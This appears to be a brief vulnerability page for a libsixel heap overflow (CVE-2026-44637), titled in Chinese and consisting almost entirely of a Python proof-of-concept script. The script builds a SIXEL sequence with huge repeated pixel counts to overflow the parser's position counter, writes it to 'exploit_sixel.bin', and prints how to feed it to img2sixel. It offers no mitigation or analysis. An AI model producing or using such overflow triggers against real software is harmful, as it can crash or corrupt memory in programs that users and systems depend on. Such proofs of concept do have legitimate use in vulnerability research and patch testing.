CVE-2026-44637 libsixel堆溢出漏洞

import sys # Conceptual PoC for CVE-2026-44637 # Generates a malicious SIXEL string to trigger integer overflow def generate_malicious_sixel(): # SIXEL escape sequence header payload = b"\x1BPq" # Character to repeat (SIXEL pixel) repeat_char = b'?' # A large repeat count to push pos_x towards INT_MAX # In a real exploit, this would be tuned to hit the exact overflow boundary large_count = 10000 segment = b"!" + str(large_count).encode() + repeat_char # Repeat the segment many times to simulate unbounded growth # The parser loops over these, adding repeat_count to pos_x each time payload += segment * 100000 # SIXEL terminator payload += b"\x1B\\" return payload if __name__ == "__main__": filename = "exploit_sixel.bin" with open(filename, "wb") as f: f.write(generate_malicious_sixel()) print(f"[+] Generated malicious file: {filename}") print(f"[+] Usage: img2sixel {filename}")